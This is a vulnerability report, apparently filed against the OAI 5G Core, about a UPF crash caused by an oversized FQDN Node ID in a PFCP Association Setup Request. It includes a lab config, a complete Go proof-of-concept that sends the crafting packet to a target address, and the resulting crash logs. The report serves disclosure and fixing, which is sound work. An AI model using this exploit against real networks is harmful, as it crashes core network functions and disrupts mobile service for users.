[Bug] UPF Crash on PFCP Association Setup Request with Oversized FQDN Node ID
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=No
Description
A vulnerability in the PFCP Node ID IE parsing logic of the OAI 5G Core UPF allows a remote PFCP peer to crash the UPF process by sending a PFCP Association Setup Request with an excessively large FQDN Node ID. The parser allocates a stack buffer based directly on tlv.get_length() without enforcing an upper bound, leading to unbounded stack allocation and UPF crash.
Config
config.yaml
################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1 (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
# contact@openairinterface.org
################################################################################
# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter
############# Common configuration
# Log level for all the NFs
log_level:
general: debug
# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
general: yes
http_version: 2
############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
amf:
host: oai-amf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n2:
interface_name: eth0
port: 38412
smf:
host: oai-smf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n4:
interface_name: eth0
port: 8805
upf:
host: oai-upf
sbi:
port: 8080
api_version: v1
interface_name: eth1
n3:
interface_name: eth0
port: 2152
n4:
interface_name: eth0
port: 8805
n6:
interface_name: eth1
n9:
interface_name: eth0
port: 2152
udm:
host: oai-udm
sbi:
port: 8080
api_version: v1
interface_name: eth0
udr:
host: oai-udr
sbi:
port: 8080
api_version: v1
interface_name: eth0
ausf:
host: oai-ausf
sbi:
port: 8080
api_version: v1
interface_name: eth0
nrf:
host: oai-nrf
sbi:
port: 8080
api_version: v1
interface_name: eth0
#### Common for UDR and AMF
database:
host: mysql
user: test
type: mysql
password: test
database_name: oai_db
generate_random: true
connection_timeout: 300 # seconds
## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
- &embb_slice
sst: 1
############## NF-specific configuration
amf:
pid_directory: "/var/run"
amf_name: "OAI-AMF"
# This really depends on if we want to keep the "mini" version or not
support_features_options:
enable_simple_scenario: no
enable_nssf: no
enable_smf_selection: yes
use_external_udm: no
relative_capacity: 30
statistics_timer_interval: 20 #in seconds
emergency_support: false
served_guami_list:
- mcc: 001
mnc: 01
amf_region_id: 01
amf_set_id: 001
amf_pointer: 01
plmn_support_list:
- mcc: 001
mnc: 01
tac: 0x0001
nssai:
- *embb_slice
supported_integrity_algorithms:
- "NIA1"
- "NIA2"
supported_encryption_algorithms:
- "NEA0"
- "NEA1"
- "NEA2"
smf:
ue_mtu: 1500
support_features:
use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
# we resolve from NRF, this is just to configure usage_reporting
upfs:
- host: oai-upf
config:
enable_usage_reporting: no
ue_dns:
primary_ipv4: "1.1.1.1"
primary_ipv6: "2001:4860:4860::8888"
secondary_ipv4: "8.8.8.8"
secondary_ipv6: "2001:4860:4860::8888"
ims:
pcscf_ipv4: "192.168.70.139"
pcscf_ipv6: "fe80::7915:f408:1787:db8b"
# the DNN you configure here should be configured in "dnns"
# follows the SmfInfo datatype from 3GPP TS 29.510
smf_info:
sNssaiSmfInfoList:
- sNssai: *embb_slice
dnnSmfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
local_subscription_infos:
- single_nssai: *embb_slice
dnn: "oai"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "openairinterface"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "ims"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "default"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
upf:
support_features:
enable_bpf_datapath: off # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off
remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW
smfs:
- host: oai-smf # To be used for PFCP association in case of no-NRF
upf_info:
sNssaiUpfInfoList:
- sNssai: *embb_slice
dnnUpfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
## DNN configuration
dnns:
- dnn: "oai"
pdu_session_type: "IPV4"
ipv4_subnet: "10.0.0.0/24"
- dnn: "openairinterface"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.1.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "ims"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.9.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "default"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.255.0/24"
ipv6_prefix: "2001:1:2::/64"
Steps to reproduce
- Start a new go project inside a new folder: go mod init poc
- Create a main.go and paste the code below:
package main
import (
"encoding/binary"
"flag"
"fmt"
"log"
"net"
)
// R1: trigger stack/VLA overflow in pfcp_node_id_ie::load_from by sending an
// oversized FQDN Node ID.
func main() {
pfcpAddr := flag.String("pfcp", "127.0.0.1:8805", "PFCP target host:port")
size := flag.Int("size", 60000, "Bytes to place in the Node ID FQDN field")
msgType := flag.Uint("msg-type", 5, "PFCP message type (default Association Setup Request)")
flag.Parse()
ieValLen := *size
if ieValLen < 1 {
log.Fatalf("size must be >0")
}
// message_length is uint16; ensure it fits.
if ieValLen+8 > 0xffff {
log.Fatalf("size too large for PFCP header")
}
payload := buildPFCPPacket(byte(*msgType), 60 /* PFCP_IE_NODE_ID */, buildNodeIDValue(ieValLen))
if err := sendPFCP(*pfcpAddr, payload); err != nil {
log.Fatalf("send failed: %v", err)
}
log.Printf("sent R1 packet to %s (%d-byte FQDN)", *pfcpAddr, ieValLen)
}
func buildNodeIDValue(length int) []byte {
v := make([]byte, length)
v[0] = 0x02 // node_id_type = FQDN
for i := 1; i < len(v); i++ {
v[i] = 'a'
}
return v
}
func buildPFCPPacket(msgType byte, ieType uint16, ieValue []byte) []byte {
ie := make([]byte, 4+len(ieValue))
binary.BigEndian.PutUint16(ie[0:2], ieType)
binary.BigEndian.PutUint16(ie[2:4], uint16(len(ieValue)))
copy(ie[4:], ieValue)
msgLen := 4 + len(ie) // 3-byte seq + 1-byte spare + IE
if msgLen > 0xffff {
log.Fatalf("message too long for PFCP header")
}
hdr := make([]byte, 8)
hdr[0] = 0x20 // version=1, S=0
hdr[1] = msgType // message type
binary.BigEndian.PutUint16(hdr[2:4], uint16(msgLen))
hdr[4], hdr[5], hdr[6] = 0, 0, 1 // sequence number
hdr[7] = 0 // message priority/spare
return append(hdr, ie...)
}
func sendPFCP(addr string, pkt []byte) error {
conn, err := net.Dial("udp", addr)
if err != nil {
return fmt.Errorf("dial PFCP: %w", err)
}
defer conn.Close()
if _, err := conn.Write(pkt); err != nil {
return fmt.Errorf("write PFCP: %w", err)
}
return nil
}
- Download required libraries:
go mod tidy - Run the program with the upf pfcp server address:
go run ./main.go -pfcp 192.168.70.134:8805 -size 8192
Logs
[2025-11-30 07:44:18.496] [pfcp_switch] [info] Source NAT added
[2025-11-30 07:44:18.498] [pfcp_switch] [info] Route created
[2025-11-30 07:44:18.499] [pfcp_switch] [info] Source NAT added
[2025-11-30 07:44:18.501] [pfcp_switch] [info] Route created
[2025-11-30 07:44:18.502] [pfcp_switch] [info] Source NAT added
[2025-11-30 07:44:18.504] [pfcp_switch] [info] Route created
[2025-11-30 07:44:18.505] [pfcp_switch] [info] Source NAT added
[2025-11-30 07:44:18.505] [upf_app] [start] Started
[2025-11-30 07:44:19.331] [upf_n4 ] [info] handle_receive(34 bytes)
[2025-11-30 07:44:19.331] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-11-30 07:44:23.488] [upf_n4 ] [info] TIME-OUT event timer id 2
[2025-11-30 07:44:29.332] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-11-30 07:44:29.332] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-11-30 07:44:39.333] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-11-30 07:44:39.333] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-11-30 07:44:46.677] [upf_n4 ] [info] handle_receive(8192 bytes)
terminate called after throwing an instance of 'std::length_error'
what(): basic_string::append
Expected Behaviour
The UPF should validate Node ID IE length, reject unreasonably large FQDN values, and return an error without affecting process stability.
Observed Behaviour
Sending a PFCP Association Setup Request to UPF with a Node ID IE length of 8192 bytes causes pfcp_node_id_ie::load_from to allocate an 8 KB stack buffer overflow, crashing the UPF.
Edited by Ziyu Lin